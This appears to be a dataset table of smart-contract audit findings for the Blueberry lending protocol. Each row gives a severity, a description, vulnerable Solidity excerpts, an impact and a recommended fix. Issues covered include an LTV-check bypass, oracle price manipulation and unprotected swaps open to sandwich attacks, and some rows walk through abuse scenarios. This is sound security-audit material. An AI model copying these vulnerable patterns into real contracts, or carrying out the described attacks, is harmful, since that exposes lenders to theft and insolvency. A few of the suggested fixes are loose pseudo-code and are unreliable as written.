name
stringlengths 5
231
| severity
stringclasses 3
values | description
stringlengths 107
68.2k
| recommendation
stringlengths 12
8.75k
⌀ | impact
stringlengths 3
11.2k
⌀ | function
stringlengths 15
64.6k
|
---|---|---|---|---|---|
Users can get around MaxLTV because of lack of strategyId validation | high | When a user withdraws some of their underlying token, there is a check to ensure they still meet the Max LTV requirements. However, they are able to arbitrarily enter any `strategyId` that they would like for this check, which could allow them to exceed the LTV for their real strategy while passing the approval.\\nWhen a user calls `IchiVaultSpell.sol#reducePosition()`, it removes some of their underlying token from the vault, increasing the LTV of any loans they have taken.\\nAs a result, the `_validateMaxLTV(strategyId)` function is called to ensure they remain compliant with their strategy's specified LTV:\\n```\\nfunction _validateMaxLTV(uint256 strategyId) internal view {\\n uint256 debtValue = bank.getDebtValue(bank.POSITION_ID());\\n (, address collToken, uint256 collAmount, , , , , ) = bank\\n .getCurrentPositionInfo();\\n uint256 collPrice = bank.oracle().getPrice(collToken);\\n uint256 collValue = (collPrice * collAmount) /\\n 10**IERC20Metadata(collToken).decimals();\\n\\n if (\\n debtValue >\\n (collValue * maxLTV[strategyId][collToken]) / DENOMINATOR\\n ) revert EXCEED_MAX_LTV();\\n}\\n```\\n\\nTo summarize, this check:\\nPulls the position's total debt value\\nPulls the position's total value of underlying tokens\\nPulls the specified maxLTV for this strategyId and underlying token combination\\nEnsures that `underlyingTokenValue * maxLTV > debtValue`\\nBut there is no check to ensure that this `strategyId` value corresponds to the strategy the user is actually invested in, as we can see the `reducePosition()` function:\\n```\\nfunction reducePosition(\\n uint256 strategyId,\\n address collToken,\\n uint256 collAmount\\n) external {\\n doWithdraw(collToken, collAmount);\\n doRefund(collToken);\\n _validateMaxLTV(strategyId);\\n}\\n```\\n\\nHere is a quick proof of concept to explain the risk:\\nLet's say a user deposits 1000 DAI as their underlying collateral.\\nThey are using a risky strategy (let's call it strategy 911) which requires a maxLTV of 2X (ie maxLTV[911][DAI] = 2e5)\\nThere is another safer strategy (let's call it strategy 411) which has a maxLTV of 5X (ie maxLTV[411][DAI] = 4e5)\\nThe user takes the max loan from the risky strategy, borrowing $2000 USD of value.\\nThey are not allowed to take any more loans from that strategy, or remove any of their collateral.\\nThen, they call `reducePosition()`, withdrawing 1600 DAI and entering `411` as the strategyId.\\nThe `_validateMaxLTV` check will happen on `strategyId = 411`, and will pass, but the result will be that the user now has only 400 DAI of underlying collateral protecting $2000 USD worth of the risky strategy, violating the LTV. | Issue Users can get around MaxLTV because of lack of strategyId validation\\nSince the collateral a position holds will always be the vault token of the strategy they have used, you can validate the `strategyId` against the user's collateral, as follows:\\n```\\naddress positionCollToken = bank.positions(bank.POSITION_ID()).collToken;\\naddress positionCollId = bank.positions(bank.POSITION_ID()).collId;\\naddress unwrappedCollToken = IERC20Wrapper(positionCollToken).getUnderlyingToken(positionCollId);\\nrequire(strategies[strategyId].vault == unwrappedCollToken, "wrong strategy");\\n```\\n | Users can get around the specific LTVs and create significantly higher leverage bets than the protocol has allowed. This could cause the protocol to get underwater, as the high leverage combined with risky assets could lead to dramatic price swings without adequate time for the liquidation mechanism to successfully protect solvency. | ```\\nfunction _validateMaxLTV(uint256 strategyId) internal view {\\n uint256 debtValue = bank.getDebtValue(bank.POSITION_ID());\\n (, address collToken, uint256 collAmount, , , , , ) = bank\\n .getCurrentPositionInfo();\\n uint256 collPrice = bank.oracle().getPrice(collToken);\\n uint256 collValue = (collPrice * collAmount) /\\n 10**IERC20Metadata(collToken).decimals();\\n\\n if (\\n debtValue >\\n (collValue * maxLTV[strategyId][collToken]) / DENOMINATOR\\n ) revert EXCEED_MAX_LTV();\\n}\\n```\\n |
Users can be liquidated prematurely because calculation understates value of underlying position | high | When the value of the underlying asset is calculated in `getPositionRisk()`, it uses the `underlyingAmount`, which is the amount of tokens initially deposited, without any adjustment for the interest earned. This can result in users being liquidated early, because the system undervalues their assets.\\nA position is considered liquidatable if it meets the following criteria:\\n```\\n((borrowsValue - collateralValue) / underlyingValue) >= underlyingLiqThreshold\\n```\\n\\nThe value of the underlying tokens is a major factor in this calculation. However, the calculation of the underlying value is performed with the following function call:\\n```\\nuint256 cv = oracle.getUnderlyingValue(\\n pos.underlyingToken,\\n pos.underlyingAmount\\n);\\n```\\n\\nIf we trace it back, we can see that `pos.underlyingAmount` is set when `lend()` is called (ie when underlying assets are deposited). This is the only place in the code where this value is moved upward, and it is only increased by the amount deposited. It is never moved up to account for the interest payments made on the deposit, which can materially change the value. | Value of the underlying assets should be derived from the vault shares and value, rather than being stored directly. | Users can be liquidated prematurely because the value of their underlying assets are calculated incorrectly. | ```\\n((borrowsValue - collateralValue) / underlyingValue) >= underlyingLiqThreshold\\n```\\n |
Interest component of underlying amount is not withdrawable using the `withdrawLend` function. Such amount is permanently locked in the BlueBerryBank contract | high | Soft vault shares are issued against interest bearing tokens issued by `Compound` protocol in exchange for underlying deposits. However, `withdrawLend` function caps the withdrawable amount to initial underlying deposited by user (pos.underlyingAmount). Capping underlying amount to initial underlying deposited would mean that a user can burn all his vault shares in `withdrawLend` function and only receive original underlying deposited.\\nInterest accrued component received from Soft vault (that rightfully belongs to the user) is no longer retrievable because the underlying vault shares are already burnt. Loss to the users is permanent as such interest amount sits permanently locked in Blueberry bank.\\n`withdrawLend` function in `BlueBerryBank` allows users to withdraw underlying amount from `Hard` or `Soft` vaults. `Soft` vault shares are backed by interest bearing `cTokens` issued by Compound Protocol\\nUser can request underlying by specifying `shareAmount`. When user tries to send the maximum `shareAmount` to withdraw all the lent amount, notice that the amount withdrawable is limited to the `pos.underlyingAmount` (original deposit made by the user).\\nWhile this is the case, notice also that the full `shareAmount` is deducted from `underlyingVaultShare`. User cannot recover remaining funds because in the next call, user doesn't have any vault shares against his address. Interest accrued component on the underlying that was returned by `SoftVault` to `BlueberryBank` never makes it back to the original lender.\\n```\\n wAmount = wAmount > pos.underlyingAmount\\n ? pos.underlyingAmount\\n : wAmount;\\n\\n pos.underlyingVaultShare -= shareAmount;\\n pos.underlyingAmount -= wAmount;\\n bank.totalLend -= wAmount;\\n```\\n | Introduced a new variable to adjust positions & removed cap on withdraw amount.\\nHighlighted changes I recommend to withdrawLend with //******//.\\n```\\nfunction withdrawLend(address token, uint256 shareAmount)\\n external\\n override\\n inExec\\n poke(token)\\n {\\n Position storage pos = positions[POSITION_ID];\\n Bank storage bank = banks[token];\\n if (token != pos.underlyingToken) revert INVALID_UTOKEN(token);\\n \\n //*********-audit cap shareAmount to maximum value, pos.underlyingVaultShare*******\\n if (shareAmount > pos.underlyingVaultShare) {\\n shareAmount = pos.underlyingVaultShare;\\n }\\n\\n // if (shareAmount == type(uint256).max) {\\n // shareAmount = pos.underlyingVaultShare;\\n // } \\n\\n uint256 wAmount;\\n uint256 amountToOffset; //*********- audit added this to adjust position********\\n if (address(ISoftVault(bank.softVault).uToken()) == token) {\\n ISoftVault(bank.softVault).approve(\\n bank.softVault,\\n type(uint256).max\\n );\\n wAmount = ISoftVault(bank.softVault).withdraw(shareAmount);\\n } else {\\n wAmount = IHardVault(bank.hardVault).withdraw(token, shareAmount);\\n }\\n\\n //*********- audit calculate amountToOffset********\\n //*********-audit not capping wAmount anymore*******\\n amountToOffset = wAmount > pos.underlyingAmount\\n ? pos.underlyingAmount\\n : wAmount;\\n\\n pos.underlyingVaultShare -= shareAmount;\\n //*********-audit subtract amountToOffset instead of wAmount*******\\n pos.underlyingAmount -= amountToOffset;\\n bank.totalLend -= amountToOffset;\\n\\n wAmount = doCutWithdrawFee(token, wAmount);\\n\\n IERC20Upgradeable(token).safeTransfer(msg.sender, wAmount);\\n }\\n```\\n | Every time, user withdraws underlying from a Soft vault, interest component gets trapped in BlueBerry contract. Here is a scenario.\\nAlice deposits 1000 USDC into `SoftVault` using the `lend` function of BlueberryBank at T=0\\nUSDC soft vault mints 1000 shares to Blueberry bank\\nUSDC soft vault deposits 1000 USDC into Compound & receives 1000 cUSDC\\nAlice at T=60 days requests withdrawal against 1000 Soft vault shares\\nSoft Vault burns 1000 soft vault shares and requests withdrawal from Compound against 1000 cTokens\\nSoft vault receives 1050 USDC (50 USDC interest) and sends this to BlueberryBank\\nBlueberry Bank caps the withdrawal amount to 1000 (original deposit)\\nBlueberry Bank deducts 0.5% withdrawal fees and deposits 995 USDC back to user\\nIn the whole process, Alice has lost access to 50 USDC. | ```\\n wAmount = wAmount > pos.underlyingAmount\\n ? pos.underlyingAmount\\n : wAmount;\\n\\n pos.underlyingVaultShare -= shareAmount;\\n pos.underlyingAmount -= wAmount;\\n bank.totalLend -= wAmount;\\n```\\n |
BlueBerryBank#withdrawLend will cause underlying token accounting error if soft/hard vault has withdraw fee | high | Soft/hard vaults can have a withdraw fee. This takes a certain percentage from the user when they withdraw. The way that the token accounting works in BlueBerryBank#withdrawLend, it will only remove the amount returned by the hard/soft vault from pos.underlying amount. If there is a withdraw fee, underlying amount will not be decrease properly and the user will be left with phantom collateral that they can still use.\\n```\\n // Cut withdraw fee if it is in withdrawVaultFee Window (2 months)\\n if (\\n block.timestamp <\\n config.withdrawVaultFeeWindowStartTime() +\\n config.withdrawVaultFeeWindow()\\n ) {\\n uint256 fee = (withdrawAmount * config.withdrawVaultFee()) /\\n DENOMINATOR;\\n uToken.safeTransfer(config.treasury(), fee);\\n withdrawAmount -= fee;\\n }\\n```\\n\\nBoth SoftVault and HardVault implement a withdraw fee. Here we see that withdrawAmount (the return value) is decreased by the fee amount.\\n```\\n uint256 wAmount;\\n if (address(ISoftVault(bank.softVault).uToken()) == token) {\\n ISoftVault(bank.softVault).approve(\\n bank.softVault,\\n type(uint256).max\\n );\\n wAmount = ISoftVault(bank.softVault).withdraw(shareAmount);\\n } else {\\n wAmount = IHardVault(bank.hardVault).withdraw(token, shareAmount);\\n }\\n\\n wAmount = wAmount > pos.underlyingAmount\\n ? pos.underlyingAmount\\n : wAmount;\\n\\n pos.underlyingVaultShare -= shareAmount;\\n pos.underlyingAmount -= wAmount;\\n bank.totalLend -= wAmount;\\n```\\n\\nThe return value is stored as `wAmount` which is then subtracted from `pos.underlyingAmount` the issue is that the withdraw fee has now caused a token accounting error for `pos`. We see that the fee paid to the hard/soft vault is NOT properly removed from `pos.underlyingAmount`. This leaves the user with phantom underlying which doesn't actually exist but that the user can use to take out loans.\\nExmaple: For simplicity let's say that 1 share = 1 underlying and the soft/hard vault has a fee of 5%. Imagine a user deposits 100 underlying to receive 100 shares. Now the user withdraws their 100 shares while the hard/soft vault has a withdraw. This burns 100 shares and softVault/hardVault.withdraw returns 95 (100 - 5). During the token accounting pos.underlyingVaultShares are decreased to 0 but pos.underlyingAmount is still equal to 5 (100 - 95).\\n```\\n uint256 cv = oracle.getUnderlyingValue(\\n pos.underlyingToken,\\n pos.underlyingAmount\\n );\\n```\\n\\nThis accounting error is highly problematic because collateralValue uses pos.underlyingAmount to determine the value of collateral for liquidation purposes. This allows the user to take on more debt than they should. | `HardVault/SoftVault#withdraw` should also return the fee paid to the vault, so that it can be accounted for. | User is left with collateral that isn't real but that can be used to take out a loan | ```\\n // Cut withdraw fee if it is in withdrawVaultFee Window (2 months)\\n if (\\n block.timestamp <\\n config.withdrawVaultFeeWindowStartTime() +\\n config.withdrawVaultFeeWindow()\\n ) {\\n uint256 fee = (withdrawAmount * config.withdrawVaultFee()) /\\n DENOMINATOR;\\n uToken.safeTransfer(config.treasury(), fee);\\n withdrawAmount -= fee;\\n }\\n```\\n |
IchiLpOracle is extemely easy to manipulate due to how IchiVault calculates underlying token balances | high | `IchiVault#getTotalAmounts` uses the `UniV3Pool.slot0` to determine the number of tokens it has in it's position. `slot0` is the most recent data point and is therefore extremely easy to manipulate. Given that the protocol specializes in leverage, the effects of this manipulation would compound to make malicious uses even easier.\\nICHIVault.sol\\n```\\nfunction _amountsForLiquidity(\\n int24 tickLower,\\n int24 tickUpper,\\n uint128 liquidity\\n) internal view returns (uint256, uint256) {\\n (uint160 sqrtRatioX96, , , , , , ) = IUniswapV3Pool(pool).slot0();\\n return\\n UV3Math.getAmountsForLiquidity(\\n sqrtRatioX96,\\n UV3Math.getSqrtRatioAtTick(tickLower),\\n UV3Math.getSqrtRatioAtTick(tickUpper),\\n liquidity\\n );\\n}\\n```\\n\\n`IchiVault#getTotalAmounts` uses the `UniV3Pool.slot0` to determine the number of tokens it has in it's position. slot0 is the most recent data point and can easily be manipulated.\\n`IchiLPOracle` directly uses the token values returned by `vault#getTotalAmounts`. This allows a malicious user to manipulate the valuation of the LP. An example of this kind of manipulation would be to use large buys/sells to alter the composition of the LP to make it worth less or more. | Token balances should be calculated inside the oracle instead of getting them from the `IchiVault`. To determine the liquidity, use a TWAP instead of `slot0`. | Ichi LP value can be manipulated to cause loss of funds for the protocol and other users | ```\\nfunction _amountsForLiquidity(\\n int24 tickLower,\\n int24 tickUpper,\\n uint128 liquidity\\n) internal view returns (uint256, uint256) {\\n (uint160 sqrtRatioX96, , , , , , ) = IUniswapV3Pool(pool).slot0();\\n return\\n UV3Math.getAmountsForLiquidity(\\n sqrtRatioX96,\\n UV3Math.getSqrtRatioAtTick(tickLower),\\n UV3Math.getSqrtRatioAtTick(tickUpper),\\n liquidity\\n );\\n}\\n```\\n |
IchiLpOracle returns inflated price due to invalid calculation | medium | `IchiLpOracle` returns inflated price due to invalid calculation\\nIf you run the tests, then you can see that IchiLpOracle returns inflated price for the ICHI_USDC vault\\n```\\nSTATICCALL IchiLpOracle.getPrice(token=0xFCFE742e19790Dd67a627875ef8b45F17DB1DaC6) => (1101189125194558706411110851447)\\n```\\n\\nAs the documentation says, the token price should be in USD with 18 decimals of precision. The price returned here is `1101189125194_558706411110851447` This is 1.1 trillion USD when considering the 18 decimals.\\nThe test uses real values except for mocking ichi and usdc price, which are returned by the mock with correct decimals (1e18 and 1e6) | Issue IchiLpOracle returns inflated price due to invalid calculation\\nFix the LP token price calculation. The problem is that you multiply totalReserve with extra 1e18 (return (totalReserve * 1e18) / totalSupply;). | `IchiLpOracle` price is used in `_validateMaxLTV` (collToken is the vault). Therefore the collateral value is inflated and users can open bigger positions than their collateral would normally allow. | ```\\nSTATICCALL IchiLpOracle.getPrice(token=0xFCFE742e19790Dd67a627875ef8b45F17DB1DaC6) => (1101189125194558706411110851447)\\n```\\n |
totalLend isn't updated on liquidation, leading to permanently inflated value | medium | `bank.totalLend` tracks the total amount that has been lent of a given token, but it does not account for tokens that are withdrawn when a position is liquidated. As a result, the value will become overstated, leading to inaccurate data on the pool.\\nWhen a user lends a token to the Compound fork, the bank for that token increases its `totalLend` parameter:\\n```\\nbank.totalLend += amount;\\n```\\n\\nSimilarly, this value is decreased when the amount is withdrawn.\\nIn the event that a position is liquidated, the `underlyingAmount` and `underlyingVaultShare` for the user are decreased based on the amount that will be transferred to the liquidator.\\n```\\nuint256 liqSize = (pos.collateralSize * share) / oldShare;\\nuint256 uTokenSize = (pos.underlyingAmount * share) / oldShare;\\nuint256 uVaultShare = (pos.underlyingVaultShare * share) / oldShare;\\n\\npos.collateralSize -= liqSize;\\npos.underlyingAmount -= uTokenSize;\\npos.underlyingVaultShare -= uVaultShare;\\n```\\n\\nHowever, the liquidator doesn't receive those shares "inside the system". Instead, they receive the softVault tokens that can be claimed directly for the underlying asset by calling `withdraw()`, which simply redeems the underlying tokens from the Compound fork and sends them to the user.\\n```\\nfunction withdraw(uint256 shareAmount)\\n external\\n override\\n nonReentrant\\n returns (uint256 withdrawAmount)\\n{\\n if (shareAmount == 0) revert ZERO_AMOUNT();\\n\\n _burn(msg.sender, shareAmount);\\n\\n uint256 uBalanceBefore = uToken.balanceOf(address(this));\\n if (cToken.redeem(shareAmount) != 0) revert REDEEM_FAILED(shareAmount);\\n uint256 uBalanceAfter = uToken.balanceOf(address(this));\\n\\n withdrawAmount = uBalanceAfter - uBalanceBefore;\\n // Cut withdraw fee if it is in withdrawVaultFee Window (2 months)\\n if (\\n block.timestamp <\\n config.withdrawVaultFeeWindowStartTime() +\\n config.withdrawVaultFeeWindow()\\n ) {\\n uint256 fee = (withdrawAmount * config.withdrawVaultFee()) /\\n DENOMINATOR;\\n uToken.safeTransfer(config.treasury(), fee);\\n withdrawAmount -= fee;\\n }\\n uToken.safeTransfer(msg.sender, withdrawAmount);\\n\\n emit Withdrawn(msg.sender, withdrawAmount, shareAmount);\\n}\\n```\\n\\nNowhere in this process is `bank.totalLend` updated. As a result, each time there is a liquidation of size X, `bank.totalLend` will move X higher relative to the correct value. Slowly, over time, this value will begin to dramatically misrepresent the accurate amount that has been lent.\\nWhile there is no material exploit based on this inaccuracy at the moment, this is a core piece of data in the protocol, and it's inaccuracy could lead to major issues down the road.\\nFurthermore, it will impact immediate user behavior, as the Blueberry devs have explained "we use that [value] to help us display TVL with subgraph", which will deceive and confuse users. | Issue totalLend isn't updated on liquidation, leading to permanently inflated value\\nFor the best accuracy, updating `bank.totalLend` should happen from the `withdraw()` function in `SoftVault.sol` instead of from the core `BlueberryBank.sol` contract.\\nAlternatively, you could add an update to `bank.totalLend` in the `liquidate()` function, which might temporarily underrepresent the total lent before the liquidator withdrew the funds, but would end up being accurate over the long run. | A core metric of the protocol will be permanently inaccurate, giving users incorrect data to make their assessments on and potentially causing more severe issues down the road. | ```\\nbank.totalLend += amount;\\n```\\n |
Complete debt size is not paid off for fee on transfer tokens, but users aren't warned | medium | The protocol seems to be intentionally catering to fee on transfer tokens by measuring token balances before and after transfers to determine the value received. However, the mechanism to pay the full debt will not succeed in paying off the debt if it is used with a fee on transfer token.\\nThe protocol is clearly designed to ensure it is compatible with fee on transfer tokens. For example, all functions that receive tokens check the balance before and after, and calculate the difference between these values to measure tokens received:\\n```\\nfunction doERC20TransferIn(address token, uint256 amountCall)\\n internal\\n returns (uint256)\\n{\\n uint256 balanceBefore = IERC20Upgradeable(token).balanceOf(\\n address(this)\\n );\\n IERC20Upgradeable(token).safeTransferFrom(\\n msg.sender,\\n address(this),\\n amountCall\\n );\\n uint256 balanceAfter = IERC20Upgradeable(token).balanceOf(\\n address(this)\\n );\\n return balanceAfter - balanceBefore;\\n}\\n```\\n\\nThere is another feature of the protocol, which is that when loans are being repaid, the protocol gives the option of passing `type(uint256).max` to pay your debt in full:\\n```\\nif (amountCall == type(uint256).max) {\\n amountCall = oldDebt;\\n}\\n```\\n\\nHowever, these two features are not compatible. If a user paying off fee on transfer tokens passes in `type(uint256).max` to pay their debt in full, the full amount of their debt will be calculated. But when that amount is transferred to the contract, the amount that the result increases will be slightly less. As a result, the user will retain some balance that is not paid off. | I understand that it would be difficult to implement a mechanism to pay fee on transfer tokens off in full. That adds a lot of complexity that is somewhat fragile.\\nThe issue here is that the failure is silent, so that users request to pay off their loan in full, get confirmation, and may not realize that the loan still has an outstanding balance with interest accruing.\\nTo solve this, there should be a confirmation that any user who passes `type(uint256).max` has paid off their debt in full. Otherwise, the function should revert, so that users paying fee on transfer tokens know that they cannot use the "pay in full" feature and must specify the correct amount to get their outstanding balance down to zero. | The feature to allow loans to be paid in full will silently fail when used with fee on transfer tokens, which may trick users into thinking they have completely paid off their loans, and accidentally maintaining a balance. | ```\\nfunction doERC20TransferIn(address token, uint256 amountCall)\\n internal\\n returns (uint256)\\n{\\n uint256 balanceBefore = IERC20Upgradeable(token).balanceOf(\\n address(this)\\n );\\n IERC20Upgradeable(token).safeTransferFrom(\\n msg.sender,\\n address(this),\\n amountCall\\n );\\n uint256 balanceAfter = IERC20Upgradeable(token).balanceOf(\\n address(this)\\n );\\n return balanceAfter - balanceBefore;\\n}\\n```\\n |
HardVault never deposits assets to Compound | medium | While the protocol states that all underlying assets are deposited to their Compound fork to earn interest, it appears this action never happens in `HardVault.sol`.\\nThe documentation and comments seem to make clear that all assets deposited to `HardVault.sol` should be deposited to Compound to earn yield:\\n```\\n/**\\n * @notice Deposit underlying assets on Compound and issue share token\\n * @param amount Underlying token amount to deposit\\n * @return shareAmount cToken amount\\n */\\nfunction deposit(address token, uint256 amount) { // rest of code }\\n\\n/**\\n * @notice Withdraw underlying assets from Compound\\n * @param shareAmount Amount of cTokens to redeem\\n * @return withdrawAmount Amount of underlying assets withdrawn\\n */\\nfunction withdraw(address token, uint256 shareAmount) { // rest of code }\\n```\\n\\nHowever, if we examine the code in these functions, there is no movement of the assets to Compound. Instead, they sit in the Hard Vault and doesn't earn any yield. | Either add the functionality to the Hard Vault to have the assets pulled from the ERC1155 and deposited to the Compound fork, or change the comments and docs to be clear that such underlying assets will not be receiving any yield. | Users who may expect to be earning yield on their underlying tokens will not be. | ```\\n/**\\n * @notice Deposit underlying assets on Compound and issue share token\\n * @param amount Underlying token amount to deposit\\n * @return shareAmount cToken amount\\n */\\nfunction deposit(address token, uint256 amount) { // rest of code }\\n\\n/**\\n * @notice Withdraw underlying assets from Compound\\n * @param shareAmount Amount of cTokens to redeem\\n * @return withdrawAmount Amount of underlying assets withdrawn\\n */\\nfunction withdraw(address token, uint256 shareAmount) { // rest of code }\\n```\\n |
Withdrawals from IchiVaultSpell have no slippage protection so can be frontrun, stealing all user funds | medium | When a user withdraws their position through the `IchiVaultSpell`, part of the unwinding process is to trade one of the released tokens for the other, so the borrow can be returned. This trade is done on Uniswap V3. The parameters are set in such a way that there is no slippage protection, so any MEV bot could see this transaction, aggressively sandwich attack it, and steal the majority of the user's funds.\\nUsers who have used the `IchiVaultSpell` to take positions in Ichi will eventually choose to withdraw their funds. They can do this by calling `closePosition()` or `closePositionFarm()`, both of which call to `withdrawInternal()`, which follows loosely the following logic:\\nsends the LP tokens back to the Ichi vault for the two underlying tokens (one of which was what was borrowed)\\nswaps the non-borrowed token for the borrowed token on UniV3, to ensure we will be able to pay the loan back\\nwithdraw our underlying token from the Compound fork\\nrepay the borrow token loan to the Compound fork\\nvalidate that we are still under the maxLTV for our strategy\\nsend the funds (borrow token and underlying token) back to the user\\nThe issue exists in the swap, where Uniswap is called with the following function:\\n```\\nif (amountToSwap > 0) {\\n swapPool = IUniswapV3Pool(vault.pool());\\n swapPool.swap(\\n address(this),\\n !isTokenA,\\n int256(amountToSwap),\\n isTokenA\\n ? UniV3WrappedLibMockup.MAX_SQRT_RATIO - 1 \\n : UniV3WrappedLibMockup.MIN_SQRT_RATIO + 1, \\n abi.encode(address(this))\\n );\\n}\\n```\\n\\nThe 4th variable is called `sqrtPriceLimitX96` and it represents the square root of the lowest or highest price that you are willing to perform the trade at. In this case, we've hardcoded in that we are willing to take the worst possible rate (highest price in the event we are trading 1 => 0; lowest price in the event we are trading 0 => 1).\\nThe `IchiVaultSpell.sol#uniswapV3SwapCallback()` function doesn't enforce any additional checks. It simply sends whatever delta is requested directly to Uniswap.\\n```\\nfunction uniswapV3SwapCallback(\\n int256 amount0Delta,\\n int256 amount1Delta,\\n bytes calldata data\\n) external override {\\n if (msg.sender != address(swapPool)) revert NOT_FROM_UNIV3(msg.sender);\\n address payer = abi.decode(data, (address));\\n\\n if (amount0Delta > 0) {\\n if (payer == address(this)) {\\n IERC20Upgradeable(swapPool.token0()).safeTransfer(\\n msg.sender,\\n uint256(amount0Delta)\\n );\\n } else {\\n IERC20Upgradeable(swapPool.token0()).safeTransferFrom(\\n payer,\\n msg.sender,\\n uint256(amount0Delta)\\n );\\n }\\n } else if (amount1Delta > 0) {\\n if (payer == address(this)) {\\n IERC20Upgradeable(swapPool.token1()).safeTransfer(\\n msg.sender,\\n uint256(amount1Delta)\\n );\\n } else {\\n IERC20Upgradeable(swapPool.token1()).safeTransferFrom(\\n payer,\\n msg.sender,\\n uint256(amount1Delta)\\n );\\n }\\n }\\n}\\n```\\n\\nWhile it is true that there is an `amountRepay` parameter that is inputted by the user, it is not sufficient to protect users. Many users will want to make only a small repayment (or no repayment) while unwinding their position, and thus this variable will only act as slippage protection in the cases where users intend to repay all of their returned funds.\\nWith this knowledge, a malicious MEV bot could watch for these transactions in the mempool. When it sees such a transaction, it could perform a "sandwich attack", trading massively in the same direction as the trade in advance of it to push the price out of whack, and then trading back after us, so that they end up pocketing a profit at our expense. | Have the user input a slippage parameter to ensure that the amount of borrowed token they receive back from Uniswap is in line with what they expect.\\nAlternatively, use the existing oracle system to estimate a fair price and use that value in the `swap()` call. | Users withdrawing their funds through the `IchiVaultSpell` who do not plan to repay all of the tokens returned from Uniswap could be sandwich attacked, losing their funds by receiving very little of their borrowed token back from the swap. | ```\\nif (amountToSwap > 0) {\\n swapPool = IUniswapV3Pool(vault.pool());\\n swapPool.swap(\\n address(this),\\n !isTokenA,\\n int256(amountToSwap),\\n isTokenA\\n ? UniV3WrappedLibMockup.MAX_SQRT_RATIO - 1 \\n : UniV3WrappedLibMockup.MIN_SQRT_RATIO + 1, \\n abi.encode(address(this))\\n );\\n}\\n```\\n |
BasicSpell.doCutRewardsFee uses depositFee instead of withdraw fee | medium | BasicSpell.doCutRewardsFee uses depositFee instead of withdraw fee\\n```\\n function doCutRewardsFee(address token) internal {\\n if (bank.config().treasury() == address(0)) revert NO_TREASURY_SET();\\n\\n\\n uint256 balance = IERC20Upgradeable(token).balanceOf(address(this));\\n if (balance > 0) {\\n uint256 fee = (balance * bank.config().depositFee()) / DENOMINATOR;\\n IERC20Upgradeable(token).safeTransfer(\\n bank.config().treasury(),\\n fee\\n );\\n\\n\\n balance -= fee;\\n IERC20Upgradeable(token).safeTransfer(bank.EXECUTOR(), balance);\\n }\\n }\\n```\\n\\nThis function is called in order to get fee from ICHI rewards, collected by farming. But currently it takes `bank.config().depositFee()` instead of `bank.config().withdrawFee()`. | Issue BasicSpell.doCutRewardsFee uses depositFee instead of withdraw fee\\nTake withdraw fee from rewards. | Wrong fee amount is taken. | ```\\n function doCutRewardsFee(address token) internal {\\n if (bank.config().treasury() == address(0)) revert NO_TREASURY_SET();\\n\\n\\n uint256 balance = IERC20Upgradeable(token).balanceOf(address(this));\\n if (balance > 0) {\\n uint256 fee = (balance * bank.config().depositFee()) / DENOMINATOR;\\n IERC20Upgradeable(token).safeTransfer(\\n bank.config().treasury(),\\n fee\\n );\\n\\n\\n balance -= fee;\\n IERC20Upgradeable(token).safeTransfer(bank.EXECUTOR(), balance);\\n }\\n }\\n```\\n |
ChainlinkAdapterOracle will return the wrong price for asset if underlying aggregator hits minAnswer | medium | Chainlink aggregators have a built in circuit breaker if the price of an asset goes outside of a predetermined price band. The result is that if an asset experiences a huge drop in value (i.e. LUNA crash) the price of the oracle will continue to return the minPrice instead of the actual price of the asset. This would allow user to continue borrowing with the asset but at the wrong price. This is exactly what happened to Venus on BSC when LUNA imploded.\\nChainlinkAdapterOracle uses the ChainlinkFeedRegistry to obtain the price of the requested tokens.\\n```\\nfunction latestRoundData(\\n address base,\\n address quote\\n)\\n external\\n view\\n override\\n checkPairAccess()\\n returns (\\n uint80 roundId,\\n int256 answer,\\n uint256 startedAt,\\n uint256 updatedAt,\\n uint80 answeredInRound\\n )\\n{\\n uint16 currentPhaseId = s_currentPhaseId[base][quote];\\n //@audit this pulls the Aggregator for the requested pair\\n AggregatorV2V3Interface aggregator = _getFeed(base, quote);\\n require(address(aggregator) != address(0), "Feed not found");\\n (\\n roundId,\\n answer,\\n startedAt,\\n updatedAt,\\n answeredInRound\\n ) = aggregator.latestRoundData();\\n return _addPhaseIds(roundId, answer, startedAt, updatedAt, answeredInRound, currentPhaseId);\\n}\\n```\\n\\nChainlinkFeedRegistry#latestRoundData pulls the associated aggregator and requests round data from it. ChainlinkAggregators have minPrice and maxPrice circuit breakers built into them. This means that if the price of the asset drops below the minPrice, the protocol will continue to value the token at minPrice instead of it's actual value. This will allow users to take out huge amounts of bad debt and bankrupt the protocol.\\nExample: TokenA has a minPrice of $1. The price of TokenA drops to $0.10. The aggregator still returns $1 allowing the user to borrow against TokenA as if it is $1 which is 10x it's actual value.\\nNote: Chainlink oracles are used a just one piece of the OracleAggregator system and it is assumed that using a combination of other oracles, a scenario like this can be avoided. However this is not the case because the other oracles also have their flaws that can still allow this to be exploited. As an example if the chainlink oracle is being used with a UniswapV3Oracle which uses a long TWAP then this will be exploitable when the TWAP is near the minPrice on the way down. In a scenario like that it wouldn't matter what the third oracle was because it would be bypassed with the two matching oracles prices. If secondary oracles like Band are used a malicious user could DDOS relayers to prevent update pricing. Once the price becomes stale the chainlink oracle would be the only oracle left and it's price would be used. | Issue ChainlinkAdapterOracle will return the wrong price for asset if underlying aggregator hits minAnswer\\nChainlinkAdapterOracle should check the returned answer against the minPrice/maxPrice and revert if the answer is outside of the bounds:\\n```\\n (, int256 answer, , uint256 updatedAt, ) = registry.latestRoundData(\\n token,\\n USD\\n );\\n \\n+ if (answer >= maxPrice or answer <= minPrice) revert();\\n```\\n | In the event that an asset crashes (i.e. LUNA) the protocol can be manipulated to give out loans at an inflated price | ```\\nfunction latestRoundData(\\n address base,\\n address quote\\n)\\n external\\n view\\n override\\n checkPairAccess()\\n returns (\\n uint80 roundId,\\n int256 answer,\\n uint256 startedAt,\\n uint256 updatedAt,\\n uint80 answeredInRound\\n )\\n{\\n uint16 currentPhaseId = s_currentPhaseId[base][quote];\\n //@audit this pulls the Aggregator for the requested pair\\n AggregatorV2V3Interface aggregator = _getFeed(base, quote);\\n require(address(aggregator) != address(0), "Feed not found");\\n (\\n roundId,\\n answer,\\n startedAt,\\n updatedAt,\\n answeredInRound\\n ) = aggregator.latestRoundData();\\n return _addPhaseIds(roundId, answer, startedAt, updatedAt, answeredInRound, currentPhaseId);\\n}\\n```\\n |
